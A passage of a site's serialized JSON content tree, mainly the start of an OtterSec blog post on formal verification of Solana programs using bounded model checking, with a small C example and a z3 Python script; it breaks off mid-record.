",{"type":19,"tag":27,"props":16161,"children":16163},{"className":16162},[],[16164],{"type":24,"value":12385},{"type":24,"value":16166}," struct) - this is exactly the lifetime we started with. ",{"type":19,"tag":269,"props":16168,"children":16172},{"href":16169,"ariaLabel":16170,"className":16171,"dataFootnoteBackref":7},"#user-content-fnref-slice-unbound-lifetime","Back to reference 6",[15989],[16173],{"type":24,"value":15992},{"type":19,"tag":232,"props":16175,"children":16176},{},[16177],{"type":24,"value":236},{"title":7,"searchDepth":198,"depth":198,"links":16179},[16180,16186,16190,16191,16193],{"id":11814,"depth":198,"text":16181,"children":16182},"Breaking down realloc",[16183,16184],{"id":11980,"depth":415,"text":11983},{"id":13340,"depth":415,"text":16185},"Back to realloc",{"id":14292,"depth":198,"text":14295,"children":16187},[16188,16189],{"id":14298,"depth":415,"text":14301},{"id":14520,"depth":415,"text":14523},{"id":14707,"depth":198,"text":14710},{"id":15109,"depth":198,"text":16192},"Towards safer unsafe",{"id":12928,"depth":198,"text":15884},"content:blog:2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references",{"_path":16198,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":16199,"description":16200,"author":16201,"image":16202,"date":16204,"isFeatured":14,"onBlogPage":14,"tags":16205,"body":16206,"_type":242,"_id":26469,"_source":244,"_file":26470,"_stem":26471,"_extension":247},"/blog/2023-01-26-formally-verifying-solana-programs","Solana Formal Verification: A Case Study","We present a novel framework for formal verification of Solana Anchor programs — and a case study application to the Squads multisig.","harrison",{"src":16203,"height":11068,"width":11069},"/posts/formally-verifying-solana-programs/formal-verification-title.jpg","2023-01-26",[259,260],{"type":16,"children":16207,"toc":26441},[16208,16213,16218,16244,16248,16260,16283,16306,16318,16341,16344,16351,16401,16407,16413,16418,16429,16470,16475,16481,16486,16719,16739,16744,16749,16822,16827,16897,16911,17336,17356,17362,17381,17386,17391,17396,17402,17414,17449,17460,17471,17483,17488,17520,17544,17563,17569,17586,17592,17619,17624,17644,17656,17802,17830,17833,17845,17928,17947,17950,17989,18156,18161,18167,18179,18198,18211,18372,18384,18397,18871,18876,18923,18929,18947,19016,19254,19468,19473,19547,19595,19600,19606,19708,19812,19817,19880,19885,19891,19956,19961,20003,20029,20035,20104,20109,20159,20170,20176,20187,20208,20213,20218,20241,20247,20259,20279,21395,21414,21465,21470,21478,21490,21495,21503,21508,21524,21560,21565,21659,21664,21672,21677,21789,21794,21802,21815,21979,21984,21992,21997,22002,22070,22104,22110,22115,22126,22144,22522,22534,22546,22554,22565,22596,22601,22609,22614,22887,22906,22911,22937,23805,23817,23916,23928,23970,23975,23987,23995,24000,24012,24038,24198,24210,24218,24223,24499,24504,24516,24671,24691,25017,25051,25245,25278,25290,25412,25432,25437,25442,25447,25460,25468,25473,25948,25960,25965,25977,25982,26241,26267,26272,26278,26284,26296,26308,26327,26374,26379,26385,26390,26395,26400,26405,26410,26415,26418,26437],{"type":19,"tag":20,"props":16209,"children":16210},{},[16211],{"type":24,"value":16212},"Since the early days of computing, bugs have crept their way into programs and wreaked havoc on the intentions of the programmer. Logical fallacies, race conditions, or simple typos could manifest as crashes or lay undetected, silently breaking the functionality of the host program.",{"type":19,"tag":20,"props":16214,"children":16215},{},[16216],{"type":24,"value":16217},"When your program is connected to the internet, there is the new risk that bugs may introduce security holes into your system. Even simple buffer overflows can be exploited by skilled attackers to compromise the integrity of your program.",{"type":19,"tag":20,"props":16219,"children":16220},{},[16221,16223,16227,16229,16234,16236,16243],{"type":24,"value":16222},"In the world of Web3 we create programs that talk to strangers ",{"type":19,"tag":293,"props":16224,"children":16225},{},[16226],{"type":24,"value":13820},{"type":24,"value":16228}," control millions of dollars 🤑. Bugs in these programs are some of the ",{"type":19,"tag":293,"props":16230,"children":16231},{},[16232],{"type":24,"value":16233},"juciest",{"type":24,"value":16235},"; anonymous attackers that can find and exploit them will walk away with potentially ",{"type":19,"tag":269,"props":16237,"children":16240},{"href":16238,"rel":16239},"https://rekt.news/leaderboard/",[273],[16241],{"type":24,"value":16242},"hundreds of millions of dollars",{"type":24,"value":948},{"type":19,"tag":16245,"props":16246,"children":16247},"hr",{},[],{"type":19,"tag":20,"props":16249,"children":16250},{},[16251,16253,16258],{"type":24,"value":16252},"At OtterSec we are ",{"type":19,"tag":293,"props":16254,"children":16255},{},[16256],{"type":24,"value":16257},"highly skilled in pest control",{"type":24,"value":16259}," - finding and squashing bugs before they are exploited by less well-intentioned hackers. We are constantly striving to improve our techniques and develop new technologies that aid in our auditing processes.",{"type":19,"tag":20,"props":16261,"children":16262},{},[16263,16265,16272,16274,16281],{"type":24,"value":16264},"Recently we were contacted by the ",{"type":19,"tag":269,"props":16266,"children":16269},{"href":16267,"rel":16268},"https://squads.so/",[273],[16270],{"type":24,"value":16271},"Squads team",{"type":24,"value":16273}," to explore how formal verification could be used to verify security-critical properties of Solana programs. We were really excited about this opportunity and have been developing a prototype with the ",{"type":19,"tag":269,"props":16275,"children":16278},{"href":16276,"rel":16277},"https://github.com/Squads-Protocol/squads-mpl",[273],[16279],{"type":24,"value":16280},"Squads Multisig Program",{"type":24,"value":16282}," as our main case study.",{"type":19,"tag":20,"props":16284,"children":16285},{},[16286,16288,16295,16297,16304],{"type":24,"value":16287},"We now have a (mostly) working prototype that can be used to formally verify critical properties of Solana programs in order to ensure a higher level of security. Our tool integrates with ",{"type":19,"tag":269,"props":16289,"children":16292},{"href":16290,"rel":16291},"https://www.anchor-lang.com/",[273],[16293],{"type":24,"value":16294},"anchor-lang",{"type":24,"value":16296}," and provides new APIs to specify invariants for your Solana code. It then autogenerates proof harnesses which are verified with the ",{"type":19,"tag":269,"props":16298,"children":16301},{"href":16299,"rel":16300},"https://github.com/model-checking/kani",[273],[16302],{"type":24,"value":16303},"Kani Rust Verifier",{"type":24,"value":16305},". Additionally, we are implementing a formal-verification-friendly runtime SDK layer that accelerates the expensive process of running formal verification tools on complex code.",{"type":19,"tag":20,"props":16307,"children":16308},{},[16309,16311,16316],{"type":24,"value":16310},"In this blog post, we're excited to share our progress and the challenges we've encountered during the process. We will describe the main concepts behind ",{"type":19,"tag":293,"props":16312,"children":16313},{},[16314],{"type":24,"value":16315},"bounded model checking",{"type":24,"value":16317}," (our formal verification method of choice) and explain how we've applied these concepts to Solana.",{"type":19,"tag":20,"props":16319,"children":16320},{},[16321],{"type":19,"tag":293,"props":16322,"children":16323},{},[16324,16326,16333,16335],{"type":24,"value":16325},"If you're interested in learning more or getting your own programs formally verified, let us know! We'd be excited to chat with you! — Fill out ",{"type":19,"tag":269,"props":16327,"children":16330},{"href":16328,"rel":16329},"https://osec.io/contact",[273],[16331],{"type":24,"value":16332},"this form",{"type":24,"value":16334}," or email us at ",{"type":19,"tag":269,"props":16336,"children":16338},{"href":16337},"mailto:contact@osec.io",[16339],{"type":24,"value":16340},"contact@osec.io",{"type":19,"tag":16245,"props":16342,"children":16343},{},[],{"type":19,"tag":16345,"props":16346,"children":16348},"h4",{"id":16347},"contents",[16349],{"type":24,"value":16350},"Contents:",{"type":19,"tag":2869,"props":16352,"children":16353},{},[16354,16359,16376,16386,16391,16396],{"type":19,"tag":47,"props":16355,"children":16356},{},[16357],{"type":24,"value":16358},"Formal Verification with Bounded Model Checking\na. Overview\nb. A simple example\nc. Loop bounds & path explosion\nd. The Kani Rust Verifier",{"type":19,"tag":47,"props":16360,"children":16361},{},[16362,16367,16369,16374],{"type":19,"tag":51,"props":16363,"children":16364},{},[16365],{"type":24,"value":16366},"Specification",{"type":24,"value":16368},": How can we describe what we ",{"type":19,"tag":293,"props":16370,"children":16371},{},[16372],{"type":24,"value":16373},"want",{"type":24,"value":16375}," our program to do?",{"type":19,"tag":47,"props":16377,"children":16378},{},[16379,16384],{"type":19,"tag":51,"props":16380,"children":16381},{},[16382],{"type":24,"value":16383},"Verification",{"type":24,"value":16385},": How do we check that our model is correct?",{"type":19,"tag":47,"props":16387,"children":16388},{},[16389],{"type":24,"value":16390},"Case Study: Squads Multisig",{"type":19,"tag":47,"props":16392,"children":16393},{},[16394],{"type":24,"value":16395},"Additional challenges in Solana",{"type":19,"tag":47,"props":16397,"children":16398},{},[16399],{"type":24,"value":16400},"Conclusion",{"type":19,"tag":36,"props":16402,"children":16404},{"id":16403},"formal-verification-with-bounded-model-checking",[16405],{"type":24,"value":16406},"Formal Verification with Bounded Model Checking",{"type":19,"tag":7050,"props":16408,"children":16410},{"id":16409},"overview",[16411],{"type":24,"value":16412},"Overview",{"type":19,"tag":20,"props":16414,"children":16415},{},[16416],{"type":24,"value":16417},"Formal verification is the process of using a formal specification to verify the correctness of a system. In this case, the systems we are verifying are programs written in Rust that run on the Solana blockchain.",{"type":19,"tag":20,"props":16419,"children":16420},{},[16421,16423,16428],{"type":24,"value":16422},"There are many different flavors of formal verification, however in this research we are using ",{"type":19,"tag":51,"props":16424,"children":16425},{},[16426],{"type":24,"value":16427},"bounded model checking (BMC)",{"type":24,"value":948},{"type":19,"tag":20,"props":16430,"children":16431},{},[16432,16434,16439,16441,16446,16448,16452,16454,16460,16462,16468],{"type":24,"value":16433},"In short, the idea of BMC is to execute our program ",{"type":19,"tag":293,"props":16435,"children":16436},{},[16437],{"type":24,"value":16438},"symbolically",{"type":24,"value":16440}," rather than ",{"type":19,"tag":293,"props":16442,"children":16443},{},[16444],{"type":24,"value":16445},"concretely",{"type":24,"value":16447},". Instead of actually performing an ",{"type":19,"tag":293,"props":16449,"children":16450},{},[16451],{"type":24,"value":7080},{"type":24,"value":16453}," when we see the line ",{"type":19,"tag":27,"props":16455,"children":16457},{"className":16456},[],[16458],{"type":24,"value":16459},"int x = a + b",{"type":24,"value":16461},", we store the symbolic expression ",{"type":19,"tag":27,"props":16463,"children":16465},{"className":16464},[],[16466],{"type":24,"value":16467},"x == a + b",{"type":24,"value":16469},". We do this for every line and once we reach the end of the program we have compiled a huge list of symbolic expressions. At this point, we can feed these expressions to a SMT solver along with a correctness property P in order to check if our program satisfies this property.",{"type":19,"tag":20,"props":16471,"children":16472},{},[16473],{"type":24,"value":16474},"If we hit a branch as we are tracing the program, we will take both sides of the branch adding the positive branch condition as a constraint to one side and the negative condition to the other side.",{"type":19,"tag":7050,"props":16476,"children":16478},{"id":16477},"a-simple-example",[16479],{"type":24,"value":16480},"A simple example",{"type":19,"tag":20,"props":16482,"children":16483},{},[16484],{"type":24,"value":16485},"As an example, consider the following function:",{"type":19,"tag":158,"props":16487,"children":16489},{"code":16488,"language":543,"meta":7,"className":13963,"style":7},"int foo(int x) {\n int y = x + 3;\n int z;\n if (y > 100) {\n z = y * 2;\n } else {\n z = y + 1;\n }\n\n // Property P:\n assert(z != 105);\n}\n",[16490],{"type":19,"tag":27,"props":16491,"children":16492},{"__ignoreMap":7},[16493,16523,16557,16569,16594,16622,16637,16664,16671,16678,16686,16712],{"type":19,"tag":168,"props":16494,"children":16495},{"class":170,"line":171},[16496,16501,16506,16510,16514,16519],{"type":19,"tag":168,"props":16497,"children":16498},{"style":382},[16499],{"type":24,"value":16500},"int",{"type":19,"tag":168,"props":16502,"children":16503},{"style":175},[16504],{"type":24,"value":16505}," foo",{"type":19,"tag":168,"props":16507,"children":16508},{"style":212},[16509],{"type":24,"value":500},{"type":19,"tag":168,"props":16511,"children":16512},{"style":382},[16513],{"type":24,"value":16500},{"type":19,"tag":168,"props":16515,"children":16516},{"style":393},[16517],{"type":24,"value":16518}," x",{"type":19,"tag":168,"props":16520,"children":16521},{"style":212},[16522],{"type":24,"value":12250},{"type":19,"tag":168,"props":16524,"children":16525},{"class":170,"line":198},[16526,16531,16535,16539,16544,16548,16553],{"type":19,"tag":168,"props":16527,"children":16528},{"style":382},[16529],{"type":24,"value":16530}," int",{"type":19,"tag":168,"props":16532,"children":16533},{"style":212},[16534],{"type":24,"value":1945},{"type":19,"tag":168,"props":16536,"children":16537},{"style":399},[16538],{"type":24,"value":486},{"type":19,"tag":168,"props":16540,"children":16541},{"style":212},[16542],{"type":24,"value":16543}," x ",{"type":19,"tag":168,"props":16545,"children":16546},{"style":399},[16547],{"type":24,"value":1811},{"type":19,"tag":168,"props":16549,"children":16550},{"style":192},[16551],{"type":24,"value":16552}," 3",{"type":19,"tag":168,"props":16554,"children":16555},{"style":212},[16556],{"type":24,"value":412},{"type":19,"tag":168,"props":16558,"children":16559},{"class":170,"line":415},[16560,16564],{"type":19,"tag":168,"props":16561,"children":16562},{"style":382},[16563],{"type":24,"value":16530},{"type":19,"tag":168,"props":16565,"children":16566},{"style":212},[16567],{"type":24,"value":16568}," z;\n",{"type":19,"tag":168,"props":16570,"children":16571},{"class":170,"line":450},[16572,16576,16581,16585,16590],{"type":19,"tag":168,"props":16573,"children":16574},{"style":419},[16575],{"type":24,"value":9724},{"type":19,"tag":168,"props":16577,"children":16578},{"style":212},[16579],{"type":24,"value":16580}," (y ",{"type":19,"tag":168,"props":16582,"children":16583},{"style":399},[16584],{"type":24,"value":7905},{"type":19,"tag":168,"props":16586,"children":16587},{"style":192},[16588],{"type":24,"value":16589}," 100",{"type":19,"tag":168,"props":16591,"children":16592},{"style":212},[16593],{"type":24,"value":12250},{"type":19,"tag":168,"props":16595,"children":16596},{"class":170,"line":560},[16597,16602,16606,16610,16614,16618],{"type":19,"tag":168,"props":16598,"children":16599},{"style":212},[16600],{"type":24,"value":16601}," z ",{"type":19,"tag":168,"props":16603,"children":16604},{"style":399},[16605],{"type":24,"value":486},{"type":19,"tag":168,"props":16607,"children":16608},{"style":212},[16609],{"type":24,"value":1945},{"type":19,"tag":168,"props":16611,"children":16612},{"style":399},[16613],{"type":24,"value":2002},{"type":19,"tag":168,"props":16615,"children":16616},{"style":192},[16617],{"type":24,"value":5371},{"type":19,"tag":168,"props":16619,"children":16620},{"style":212},[16621],{"type":24,"value":412},{"type":19,"tag":168,"props":16623,"children":16624},{"class":170,"line":666},[16625,16629,16633],{"type":19,"tag":168,"props":16626,"children":16627},{"style":212},[16628],{"type":24,"value":13227},{"type":19,"tag":168,"props":16630,"children":16631},{"style":419},[16632],{"type":24,"value":718},{"type":19,"tag":168,"props":16634,"children":16635},{"style":212},[16636],{"type":24,"value":691},{"type":19,"tag":168,"props":16638,"children":16639},{"class":170,"line":694},[16640,16644,16648,16652,16656,16660],{"type":19,"tag":168,"props":16641,"children":16642},{"style":212},[16643],{"type":24,"value":16601},{"type":19,"tag":168,"props":16645,"children":16646},{"style":399},[16647],{"type":24,"value":486},{"type":19,"tag":168,"props":16649,"children":16650},{"style":212},[16651],{"type":24,"value":1945},{"type":19,"tag":168,"props":16653,"children":16654},{"style":399},[16655],{"type":24,"value":1811},{"type":19,"tag":168,"props":16657,"children":16658},{"style":192},[16659],{"type":24,"value":1954},{"type":19,"tag":168,"props":16661,"children":16662},{"style":212},[16663],{"type":24,"value":412},{"type":19,"tag":168,"props":16665,"children":16666},{"class":170,"line":707},[16667],{"type":19,"tag":168,"props":16668,"children":16669},{"style":212},[16670],{"type":24,"value":761},{"type":19,"tag":168,"props":16672,"children":16673},{"class":170,"line":725},[16674],{"type":19,"tag":168,"props":16675,"children":16676},{"emptyLinePlaceholder":14},[16677],{"type":24,"value":1093},{"type":19,"tag":168,"props":16679,"children":16680},{"class":170,"line":746},[16681],{"type":19,"tag":168,"props":16682,"children":16683},{"style":373},[16684],{"type":24,"value":16685}," // Property P:\n",{"type":19,"tag":168,"props":16687,"children":16688},{"class":170,"line":755},[16689,16694,16699,16703,16708],{"type":19,"tag":168,"props":16690,"children":16691},{"style":175},[16692],{"type":24,"value":16693}," assert",{"type":19,"tag":168,"props":16695,"children":16696},{"style":212},[16697],{"type":24,"value":16698},"(z ",{"type":19,"tag":168,"props":16700,"children":16701},{"style":399},[16702],{"type":24,"value":13136},{"type":19,"tag":168,"props":16704,"children":16705},{"style":192},[16706],{"type":24,"value":16707}," 105",{"type":19,"tag":168,"props":16709,"children":16710},{"style":212},[16711],{"type":24,"value":1249},{"type":19,"tag":168,"props":16713,"children":16714},{"class":170,"line":1008},[16715],{"type":19,"tag":168,"props":16716,"children":16717},{"style":212},[16718],{"type":24,"value":1326},{"type":19,"tag":20,"props":16720,"children":16721},{},[16722,16724,16730,16732,16738],{"type":24,"value":16723},"This function takes an input ",{"type":19,"tag":27,"props":16725,"children":16727},{"className":16726},[],[16728],{"type":24,"value":16729},"x",{"type":24,"value":16731}," and does some computation. At the end of the program, the property we want to verify is that ",{"type":19,"tag":27,"props":16733,"children":16735},{"className":16734},[],[16736],{"type":24,"value":16737},"z != 105",{"type":24,"value":948},{"type":19,"tag":20,"props":16740,"children":16741},{},[16742],{"type":24,"value":16743},"With BMC, we could trace this program and derive the following constraints:",{"type":19,"tag":20,"props":16745,"children":16746},{},[16747],{"type":24,"value":16748},"Positive branch:",{"type":19,"tag":158,"props":16750,"children":16752},{"code":16751,"language":543,"meta":7,"className":13963,"style":7},"y == x + 3\ny > 100\nz == y * 2\n",[16753],{"type":19,"tag":27,"props":16754,"children":16755},{"__ignoreMap":7},[16756,16781,16797],{"type":19,"tag":168,"props":16757,"children":16758},{"class":170,"line":171},[16759,16764,16768,16772,16776],{"type":19,"tag":168,"props":16760,"children":16761},{"style":212},[16762],{"type":24,"value":16763},"y ",{"type":19,"tag":168,"props":16765,"children":16766},{"style":399},[16767],{"type":24,"value":6013},{"type":19,"tag":168,"props":16769,"children":16770},{"style":212},[16771],{"type":24,"value":16543},{"type":19,"tag":168,"props":16773,"children":16774},{"style":399},[16775],{"type":24,"value":1811},{"type":19,"tag":168,"props":16777,"children":16778},{"style":192},[16779],{"type":24,"value":16780}," 3\n",{"type":19,"tag":168,"props":16782,"children":16783},{"class":170,"line":198},[16784,16788,16792],{"type":19,"tag":168,"props":16785,"children":16786},{"style":212},[16787],{"type":24,"value":16763},{"type":19,"tag":168,"props":16789,"children":16790},{"style":399},[16791],{"type":24,"value":7905},{"type":19,"tag":168,"props":16793,"children":16794},{"style":192},[16795],{"type":24,"value":16796}," 100\n",{"type":19,"tag":168,"props":16798,"children":16799},{"class":170,"line":415},[16800,16805,16809,16813,16817],{"type":19,"tag":168,"props":16801,"children":16802},{"style":212},[16803],{"type":24,"value":16804},"z ",{"type":19,"tag":168,"props":16806,"children":16807},{"style":399},[16808],{"type":24,"value":6013},{"type":19,"tag":168,"props":16810,"children":16811},{"style":212},[16812],{"type":24,"value":1945},{"type":19,"tag":168,"props":16814,"children":16815},{"style":399},[16816],{"type":24,"value":2002},{"type":19,"tag":168,"props":16818,"children":16819},{"style":192},[16820],{"type":24,"value":16821}," 2\n",{"type":19,"tag":20,"props":16823,"children":16824},{},[16825],{"type":24,"value":16826},"Negative branch:",{"type":19,"tag":158,"props":16828,"children":16830},{"code":16829,"language":543,"meta":7,"className":13963,"style":7},"y == x + 3\ny \u003C= 100\nz == y + 1\n",[16831],{"type":19,"tag":27,"props":16832,"children":16833},{"__ignoreMap":7},[16834,16857,16873],{"type":19,"tag":168,"props":16835,"children":16836},{"class":170,"line":171},[16837,16841,16845,16849,16853],{"type":19,"tag":168,"props":16838,"children":16839},{"style":212},[16840],{"type":24,"value":16763},{"type":19,"tag":168,"props":16842,"children":16843},{"style":399},[16844],{"type":24,"value":6013},{"type":19,"tag":168,"props":16846,"children":16847},{"style":212},[16848],{"type":24,"value":16543},{"type":19,"tag":168,"props":16850,"children":16851},{"style":399},[16852],{"type":24,"value":1811},{"type":19,"tag":168,"props":16854,"children":16855},{"style":192},[16856],{"type":24,"value":16780},{"type":19,"tag":168,"props":16858,"children":16859},{"class":170,"line":198},[16860,16864,16869],{"type":19,"tag":168,"props":16861,"children":16862},{"style":212},[16863],{"type":24,"value":16763},{"type":19,"tag":168,"props":16865,"children":16866},{"style":399},[16867],{"type":24,"value":16868},"\u003C=",{"type":19,"tag":168,"props":16870,"children":16871},{"style":192},[16872],{"type":24,"value":16796},{"type":19,"tag":168,"props":16874,"children":16875},{"class":170,"line":415},[16876,16880,16884,16888,16892],{"type":19,"tag":168,"props":16877,"children":16878},{"style":212},[16879],{"type":24,"value":16804},{"type":19,"tag":168,"props":16881,"children":16882},{"style":399},[16883],{"type":24,"value":6013},{"type":19,"tag":168,"props":16885,"children":16886},{"style":212},[16887],{"type":24,"value":1945},{"type":19,"tag":168,"props":16889,"children":16890},{"style":399},[16891],{"type":24,"value":1811},{"type":19,"tag":168,"props":16893,"children":16894},{"style":192},[16895],{"type":24,"value":16896}," 1\n",{"type":19,"tag":20,"props":16898,"children":16899},{},[16900,16902,16909],{"type":24,"value":16901},"Using the ",{"type":19,"tag":269,"props":16903,"children":16906},{"href":16904,"rel":16905},"https://github.com/Z3Prover/z3",[273],[16907],{"type":24,"value":16908},"z3",{"type":24,"value":16910}," SMT solver, we could check both of these cases like so:",{"type":19,"tag":158,"props":16912,"children":16916},{"code":16913,"language":16914,"meta":7,"className":16915,"style":7},"from z3 import *\n\nx = Int('x')\ny = Int('y')\nz = Int('z')\n\n# Positive branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y > 100)\ns.add(z == y * 2)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n\n# Negative branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y \u003C= 100)\ns.add(z == y + 1)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n","python","language-python shiki shiki-themes slack-dark",[16917],{"type":19,"tag":27,"props":16918,"children":16919},{"__ignoreMap":7},[16920,16943,16950,16976,17000,17024,17031,17039,17056,17084,17103,17131,17138,17146,17167,17185,17192,17200,17215,17242,17261,17288,17295,17302,17321],{"type":19,"tag":168,"props":16921,"children":16922},{"class":170,"line":171},[16923,16928,16933,16938],{"type":19,"tag":168,"props":16924,"children":16925},{"style":419},[16926],{"type":24,"value":16927},"from",{"type":19,"tag":168,"props":16929,"children":16930},{"style":212},[16931],{"type":24,"value":16932}," z3 ",{"type":19,"tag":168,"props":16934,"children":16935},{"style":419},[16936],{"type":24,"value":16937},"import",{"type":19,"tag":168,"props":16939,"children":16940},{"style":399},[16941],{"type":24,"value":16942}," *\n",{"type":19,"tag":168,"props":16944,"children":16945},{"class":170,"line":198},[16946],{"type":19,"tag":168,"props":16947,"children":16948},{"emptyLinePlaceholder":14},[16949],{"type":24,"value":1093},{"type":19,"tag":168,"props":16951,"children":16952},{"class":170,"line":415},[16953,16958,16962,16967,16972],{"type":19,"tag":168,"props":16954,"children":16955},{"style":212},[16956],{"type":24,"value":16957},"x ",{"type":19,"tag":168,"props":16959,"children":16960},{"style":399},[16961],{"type":24,"value":486},{"type":19,"tag":168,"props":16963,"children":16964},{"style":212},[16965],{"type":24,"value":16966}," Int(",{"type":19,"tag":168,"props":16968,"children":16969},{"style":181},[16970],{"type":24,"value":16971},"'x'",{"type":19,"tag":168,"props":16973,"children":16974},{"style":212},[16975],{"type":24,"value":557},{"type":19,"tag":168,"props":16977,"children":16978},{"class":170,"line":450},[16979,16983,16987,16991,16996],{"type":19,"tag":168,"props":16980,"children":16981},{"style":212},[16982],{"type":24,"value":16763},{"type":19,"tag":168,"props":16984,"children":16985},{"style":399},[16986],{"type":24,"value":486},{"type":19,"tag":168,"props":16988,"children":16989},{"style":212},[16990],{"type":24,"value":16966},{"type":19,"tag":168,"props":16992,"children":16993},{"style":181},[16994],{"type":24,"value":16995},"'y'",{"type":19,"tag":168,"props":16997,"children":16998},{"style":212},[16999],{"type":24,"value":557},{"type":19,"tag":168,"props":17001,"children":17002},{"class":170,"line":560},[17003,17007,17011,17015,17020],{"type":19,"tag":168,"props":17004,"children":17005},{"style":212},[17006],{"type":24,"value":16804},{"type":19,"tag":168,"props":17008,"children":17009},{"style":399},[17010],{"type":24,"value":486},{"type":19,"tag":168,"props":17012,"children":17013},{"style":212},[17014],{"type":24,"value":16966},{"type":19,"tag":168,"props":17016,"children":17017},{"style":181},[17018],{"type":24,"value":17019},"'z'",{"type":19,"tag":168,"props":17021,"children":17022},{"style":212},[17023],{"type":24,"value":557},{"type":19,"tag":168,"props":17025,"children":17026},{"class":170,"line":666},[17027],{"type":19,"tag":168,"props":17028,"children":17029},{"emptyLinePlaceholder":14},[17030],{"type":24,"value":1093},{"type":19,"tag":168,"props":17032,"children":17033},{"class":170,"line":694},[17034],{"type":19,"tag":168,"props":17035,"children":17036},{"style":373},[17037],{"type":24,"value":17038},"# Positive branch:\n",{"type":19,"tag":168,"props":17040,"children":17041},{"class":170,"line":707},[17042,17047,17051],{"type":19,"tag":168,"props":17043,"children":17044},{"style":212},[17045],{"type":24,"value":17046},"s ",{"type":19,"tag":168,"props":17048,"children":17049},{"style":399},[17050],{"type":24,"value":486},{"type":19,"tag":168,"props":17052,"children":17053},{"style":212},[17054],{"type":24,"value":17055}," Solver()\n",{"type":19,"tag":168,"props":17057,"children":17058},{"class":170,"line":725},[17059,17064,17068,17072,17076,17080],{"type":19,"tag":168,"props":17060,"children":17061},{"style":212},[17062],{"type":24,"value":17063},"s.add(y ",{"type":19,"tag":168,"props":17065,"children":17066},{"style":399},[17067],{"type":24,"value":6013},{"type":19,"tag":168,"props":17069,"children":17070},{"style":212},[17071],{"type":24,"value":16543},{"type":19,"tag":168,"props":17073,"children":17074},{"style":399},[17075],{"type":24,"value":1811},{"type":19,"tag":168,"props":17077,"children":17078},{"style":192},[17079],{"type":24,"value":16552},{"type":19,"tag":168,"props":17081,"children":17082},{"style":212},[17083],{"type":24,"value":557},{"type":19,"tag":168,"props":17085,"children":17086},{"class":170,"line":746},[17087,17091,17095,17099],{"type":19,"tag":168,"props":17088,"children":17089},{"style":212},[17090],{"type":24,"value":17063},{"type":19,"tag":168,"props":17092,"children":17093},{"style":399},[17094],{"type":24,"value":7905},{"type":19,"tag":168,"props":17096,"children":17097},{"style":192},[17098],{"type":24,"value":16589},{"type":19,"tag":168,"props":17100,"children":17101},{"style":212},[17102],{"type":24,"value":557},{"type":19,"tag":168,"props":17104,"children":17105},{"class":170,"line":755},[17106,17111,17115,17119,17123,17127],{"type":19,"tag":168,"props":17107,"children":17108},{"style":212},[17109],{"type":24,"value":17110},"s.add(z ",{"type":19,"tag":168,"props":17112,"children":17113},{"style":399},[17114],{"type":24,"value":6013},{"type":19,"tag":168,"props":17116,"children":17117},{"style":212},[17118],{"type":24,"value":1945},{"type":19,"tag":168,"props":17120,"children":17121},{"style":399},[17122],{"type":24,"value":2002},{"type":19,"tag":168,"props":17124,"children":17125},{"style":192},[17126],{"type":24,"value":5371},{"type":19,"tag":168,"props":17128,"children":17129},{"style":212},[17130],{"type":24,"value":557},{"type":19,"tag":168,"props":17132,"children":17133},{"class":170,"line":1008},[17134],{"type":19,"tag":168,"props":17135,"children":17136},{"emptyLinePlaceholder":14},[17137],{"type":24,"value":1093},{"type":19,"tag":168,"props":17139,"children":17140},{"class":170,"line":1025},[17141],{"type":19,"tag":168,"props":17142,"children":17143},{"style":373},[17144],{"type":24,"value":17145},"# check if we can violate the correctness property\n",{"type":19,"tag":168,"props":17147,"children":17148},{"class":170,"line":1042},[17149,17154,17158,17162],{"type":19,"tag":168,"props":17150,"children":17151},{"style":212},[17152],{"type":24,"value":17153},"s.add(Not(z ",{"type":19,"tag":168,"props":17155,"children":17156},{"style":399},[17157],{"type":24,"value":13136},{"type":19,"tag":168,"props":17159,"children":17160},{"style":192},[17161],{"type":24,"value":16707},{"type":19,"tag":168,"props":17163,"children":17164},{"style":212},[17165],{"type":24,"value":17166},"))\n",{"type":19,"tag":168,"props":17168,"children":17169},{"class":170,"line":1055},[17170,17175,17180],{"type":19,"tag":168,"props":17171,"children":17172},{"style":175},[17173],{"type":24,"value":17174},"print",{"type":19,"tag":168,"props":17176,"children":17177},{"style":212},[17178],{"type":24,"value":17179},"(s.check()) ",{"type":19,"tag":168,"props":17181,"children":17182},{"style":373},[17183],{"type":24,"value":17184},"# \"unsat\"\n",{"type":19,"tag":168,"props":17186,"children":17187},{"class":170,"line":1064},[17188],{"type":19,"tag":168,"props":17189,"children":17190},{"emptyLinePlaceholder":14},[17191],{"type":24,"value":1093},{"type":19,"tag":168,"props":17193,"children":17194},{"class":170,"line":1087},[17195],{"type":19,"tag":168,"props":17196,"children":17197},{"style":373},[17198],{"type":24,"value":17199},"# Negative branch:\n",{"type":19,"tag":168,"props":17201,"children":17202},{"class":170,"line":1096},[17203,17207,17211],{"type":19,"tag":168,"props":17204,"children":17205},{"style":212},[17206],{"type":24,"value":17046},{"type":19,"tag":168,"props":17208,"children":17209},{"style":399},[17210],{"type":24,"value":486},{"type":19,"tag":168,"props":17212,"children":17213},{"style":212},[17214],{"type":24,"value":17055},{"type":19,"tag":168,"props":17216,"children":17217},{"class":170,"line":1105},[17218,17222,17226,17230,17234,17238],{"type":19,"tag":168,"props":17219,"children":17220},{"style":212},[17221],{"type":24,"value":17063},{"type":19,"tag":168,"props":17223,"children":17224},{"style":399},[17225],{"type":24,"value":6013},{"type":19,"tag":168,"props":17227,"children":17228},{"style":212},[17229],{"type":24,"value":16543},{"type":19,"tag":168,"props":17231,"children":17232},{"style":399},[17233],{"type":24,"value":1811},{"type":19,"tag":168,"props":17235,"children":17236},{"style":192},[17237],{"type":24,"value":16552},{"type":19,"tag":168,"props":17239,"children":17240},{"style":212},[17241],{"type":24,"value":557},{"type":19,"tag":168,"props":17243,"children":17244},{"class":170,"line":1174},[17245,17249,17253,17257],{"type":19,"tag":168,"props":17246,"children":17247},{"style":212},[17248],{"type":24,"value":17063},{"type":19,"tag":168,"props":17250,"children":17251},{"style":399},[17252],{"type":24,"value":16868},{"type":19,"tag":168,"props":17254,"children":17255},{"style":192},[17256],{"type":24,"value":16589},{"type":19,"tag":168,"props":17258,"children":17259},{"style":212},[17260],{"type":24,"value":557},{"type"